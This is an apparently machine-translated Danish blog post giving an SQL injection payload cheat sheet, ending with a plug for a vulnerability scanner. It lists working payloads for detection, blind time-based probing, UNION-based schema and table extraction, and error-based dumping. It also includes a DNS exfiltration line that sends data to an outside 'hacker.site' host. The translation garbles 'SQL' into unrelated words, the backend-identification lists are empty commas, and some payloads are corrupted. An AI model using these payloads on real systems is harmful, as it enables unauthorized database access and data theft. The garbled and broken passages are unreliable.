Injektionsnyttelast: sådan udnytter vi arbejdet

Hvad er en Injektionsnyttelast?

Microsoft Injection repræsenterer en internetsikkerhedssårbarhed, der gør det muligt for angribere at se data, som de ikke burde være i stand til, ved at lade angriberen forstyrre de forespørgsler, som et program foretager i sin database ved at injicere ondsindede Microsoft injection-nyttelast.

få mere at vide om indsprøjtningsangreb i dette blogindlæg – Hvad er INDSPRØJTNINGSINJEKTIONER, og hvordan kan de forhindres

i dette blogindlæg skal vi dække, hvordan man kontrollerer, om en hjemmeside er sårbar over for indsprøjtningsangreb og de forskellige nyttelast til indsprøjtningsinjektioner, der bruges til at udnytte forskellige typer sårbarheder.

i denne artikel:

bekræftelse: Entry point detection

for at identificere, om dine applikationer er sårbare over for , og du kan bruge de nyttelast, der følger, skal du først kunne injicere data i forespørgslen uden at bryde den. Det første skridt er at finde ud af, hvordan man kan flygte fra den nuværende kontekst.

prøv et af disse nyttige eksempler:


'
"
`
')
")
`)
'))
"))
`))

for at rette forespørgslen kan du indtaste data, så den forrige forespørgsel accepterer de nye data, eller du kan indtaste data og tilføje et kommentarsymbol i slutningen.

denne fase bliver lettere, hvis du kan se fejlmeddelelser, eller du kan identificere, om /hvornår en forespørgsel fungerer eller ej.

MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments

ved hjælp af logiske handlinger

kan du bekræfte en sårbarhed ved at udføre en logisk handling. Hvis du får det forventede resultat, bekræftede du CCL.

Sådan ser det ud i praksis:

hvis GET-parameteren ?username=John returnerer det samme indhold som ?username=John' eller '1'='1, så fandt du en sårbarhed ved injektion.

dette koncept fungerer også til matematiske operationer:

hvis ?id=1 returnerer det samme som ?id=2-1, har du fundet en sårbarhed ved injektion.

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

i nogle tilfælde, når du prøver at bekræfte en MSc, vil der ikke være en mærkbar ændring på den side, du tester. Dette indikerer en Blind SEKL, som kan identificeres ved at få databasen til at udføre handlinger, der vil have indflydelse på den tid, siden skal indlæses.

vi vil tilføje en handling, der tager længere tid at udføre, såsom at udføre følgende:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

søvnfunktionerne er ikke altid tilladt, så få en forespørgsel til at udføre komplekse operationer, der i stedet tager flere sekunder.

identifikation af Back-end

forskellige backends har forskellige funktioner, som kan identificeres udfører disse funktioner. Eksempler på disse funktioner er:

,
,
,

MSSKL
,
,
,
,
,

Oracle
,
,
,

Postgraduate
,
,
,
,
,
,

kr nok
,
,
,

MS Access
,
,
,
,
,

detektering af antal kolonner

begge forespørgsler (den oprindelige og den, vi ændrer) skal returnere det samme antal kolonner. Men hvordan ved vi, hvor mange kolonner den oprindelige anmodning vender tilbage? Vi bruger normalt en af de to følgende metoder til at få antallet af kolonner:

Bestil/gruppe efter

selvom GROUP BY og ORDER BY har forskellige funktionaliteter, kan de begge bruges til at bestemme antallet af kolonner i forespørgslen. Forøg nummeret, indtil du får et falsk svar:

1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

UNION SELECT

i tilfælde af UNION SELECT skal du indsætte et stigende antal null-værdier, indtil forespørgslen er gyldig:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

hvorfor bruges null-værdier? Der er tilfælde, hvor typen af kolonnerne på begge sider af forespørgslen skal være den samme. Null er gyldig i alle tilfælde.

Uddrag databasenavne, tabeller og kolonnenavne

i de følgende eksempler skal vi hente navnet på alle databaser, tabelnavne fra en database og kolonnenavne på tabellen:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=

metoden, der bruges til at opdage disse data, varierer fra selve databasen, men det er altid den samme metode.

fejlbaseret indlæsningshastighed

hvis forespørgselsoutputtet ikke er synligt, men du kan se fejlmeddelelserne, kan du få disse fejlmeddelelser til at fungere for dig at filtrere dataene fra databasen.

i lighed med det Fagbaserede udnyttelseseksempel kan du dumpe databasen:

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

du kan ikke se resultaterne af forespørgslen eller fejlene, men du kan skelne, når forespørgslen returnerede et sandt eller et falsk svar baseret på det forskellige indhold på siden.

du kan misbruge denne adfærd til at dumpe databasen char af char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

fejl Blind injektion nyttelast

som navnet antyder, ligner dette meget Blind injektion, men denne gang behøver du ikke at skelne mellem et sandt eller falsk svar. Du kontrollerer, om der er en fejl i forespørgslen eller ej, ved at tvinge en fejl, hver gang du korrekt gætter char:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

du kan bruge denne teknik primært, når du er ved at udnytte blinde sårbarheder, hvor du bruger en anden forespørgsel til at udløse et DNS-opslag, betinget fejl eller en tidsforsinkelse.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

stablede forespørgsler

stablede forespørgsler kan bruges til at udføre flere forespørgsler efter hinanden. Mens de efterfølgende forespørgsler udføres, returneres resultaterne ikke til applikationen. Du kan bruge denne teknik, når blinde sårbarheder, hvor du bruger en anden forespørgsel til at udløse et DNS-opslag, betinget fejl eller en tidsforsinkelse.

mens Oracle ikke understøtter stablede forespørgsler, understøtter Microsoft dem: QUERY-1-HERE; QUERY-2-HERE

hvis ingen af de udnyttelsesmetoder, der er nævnt ovenfor, fungerede for dig, kan du prøve at få databasen til at filtrere dataene til en ekstern vært, der kontrolleres af dig. For eksempel kan du bruge DNS-forespørgsler:

select load_file(concat('\\',version(),'.hacker.site\a.txt'));

ved hjælp af Neoploit

automatiserer Neuralegions Neoploit detektering og afhjælpning af hundredvis af sårbarheder.

ved at integrere DAST-scanninger tidligt i udviklingsprocessen kan udviklere og applikationssikkerhedseksperter opdage sårbarheder tidligt og afhjælpe dem, før de vises i produktionen.

ved hjælp af ny udnyttelse udføres scanningerne på få minutter, og resultaterne kommer med nul falske positiver. Dette giver udviklere mulighed for at vedtage løsningen og bruge den gennem hele udviklingslivscyklussen.

Scan enhver internetapp eller API for at forhindre sårbarheder ved indsprøjtning.

Leave a Reply

Din e-mailadresse vil ikke blive publiceret.